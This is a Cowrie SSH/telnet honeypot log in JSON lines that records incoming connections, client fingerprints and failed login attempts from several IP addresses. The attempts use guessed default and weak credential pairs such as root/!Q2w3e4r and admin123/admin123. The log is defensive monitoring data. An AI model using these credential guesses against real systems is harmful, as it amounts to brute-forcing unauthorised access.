{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:03.709613Z","src_ip":"192.109.200.237","session":"983ec47f2feb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0029227733612,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:03.736459Z","src_ip":"152.42.224.71","session":"e2626434fd68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:04.808210Z","src_ip":"192.109.200.237","session":"983ec47f2feb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38778,"dst_ip":"159.203.135.109","dst_port":22,"session":"d203d31e0d23","protocol":"ssh","message":"New connection: 192.109.200.237:38778 (159.203.135.109:22) [session: d203d31e0d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:06.771198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:06.783134Z","src_ip":"192.109.200.237","session":"d203d31e0d23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.42098808288574,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:06.849993Z","src_ip":"152.42.224.71","session":"a7c129f42d37","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:06.866580Z","src_ip":"192.109.200.237","session":"d203d31e0d23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:07.135850Z","src_ip":"192.109.200.237","session":"d203d31e0d23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:08.223110Z","src_ip":"192.109.200.237","session":"d203d31e0d23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56768,"dst_ip":"159.203.135.109","dst_port":22,"session":"49d62b49d8cb","protocol":"ssh","message":"New connection: 192.109.200.237:56768 (159.203.135.109:22) [session: 49d62b49d8cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:10.247573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:10.258129Z","src_ip":"192.109.200.237","session":"49d62b49d8cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:10.341670Z","src_ip":"192.109.200.237","session":"49d62b49d8cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:10.590155Z","src_ip":"192.109.200.237","session":"49d62b49d8cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:11.676791Z","src_ip":"192.109.200.237","session":"49d62b49d8cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":56112,"dst_ip":"10.17.0.5","dst_port":22,"session":"61c9b3728880","protocol":"ssh","message":"New connection: 51.250.105.222:56112 (10.17.0.5:22) [session: 61c9b3728880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:12.508285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:12.513656Z","src_ip":"51.250.105.222","session":"61c9b3728880","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:12.643862Z","src_ip":"51.250.105.222","session":"61c9b3728880","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"drjynfrnt","message":"login attempt [root/drjynfrnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:13.033009Z","src_ip":"51.250.105.222","session":"61c9b3728880","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56776,"dst_ip":"159.203.135.109","dst_port":22,"session":"546274c8fafd","protocol":"ssh","message":"New connection: 192.109.200.237:56776 (159.203.135.109:22) [session: 546274c8fafd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:13.501725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:13.507579Z","src_ip":"192.109.200.237","session":"546274c8fafd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:13.591819Z","src_ip":"192.109.200.237","session":"546274c8fafd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:13.843463Z","src_ip":"192.109.200.237","session":"546274c8fafd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:14.165048Z","src_ip":"51.250.105.222","session":"61c9b3728880","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:14.934276Z","src_ip":"192.109.200.237","session":"546274c8fafd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56790,"dst_ip":"159.203.135.109","dst_port":22,"session":"b046ec669c63","protocol":"ssh","message":"New connection: 192.109.200.237:56790 (159.203.135.109:22) [session: b046ec669c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:16.839961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:16.845377Z","src_ip":"192.109.200.237","session":"b046ec669c63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:16.927950Z","src_ip":"192.109.200.237","session":"b046ec669c63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1111","message":"login attempt [admin/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:17.180446Z","src_ip":"192.109.200.237","session":"b046ec669c63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52206,"dst_ip":"10.17.0.5","dst_port":23,"session":"df646b24bd0f","protocol":"telnet","message":"New connection: 152.42.224.71:52206 (10.17.0.5:23) [session: df646b24bd0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:17.334492Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:18.264923Z","src_ip":"192.109.200.237","session":"b046ec669c63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00150632858276,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:18.856494Z","src_ip":"152.42.224.71","session":"a5bec23b00b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51684,"dst_ip":"159.203.135.109","dst_port":22,"session":"a31762636dc9","protocol":"ssh","message":"New connection: 192.109.200.237:51684 (159.203.135.109:22) [session: a31762636dc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:20.223664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:20.320232Z","src_ip":"192.109.200.237","session":"a31762636dc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:20.324131Z","src_ip":"192.109.200.237","session":"a31762636dc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:20.649696Z","src_ip":"192.109.200.237","session":"a31762636dc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:21.736214Z","src_ip":"192.109.200.237","session":"a31762636dc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51700,"dst_ip":"159.203.135.109","dst_port":22,"session":"59aa62477170","protocol":"ssh","message":"New connection: 192.109.200.237:51700 (159.203.135.109:22) [session: 59aa62477170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:23.691337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:23.695339Z","src_ip":"192.109.200.237","session":"59aa62477170","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:23.778358Z","src_ip":"192.109.200.237","session":"59aa62477170","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:24.028787Z","src_ip":"192.109.200.237","session":"59aa62477170","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":38510,"dst_ip":"159.203.135.109","dst_port":22,"session":"261db2cd605f","protocol":"ssh","message":"New connection: 103.183.114.55:38510 (159.203.135.109:22) [session: 261db2cd605f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:24.523203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:24.527853Z","src_ip":"103.183.114.55","session":"261db2cd605f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":108.06268811225891,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:24.634611Z","src_ip":"152.42.224.71","session":"1b25669a1237","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:24.749623Z","src_ip":"103.183.114.55","session":"261db2cd605f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:25.114334Z","src_ip":"192.109.200.237","session":"59aa62477170","protocol":"ssh"}
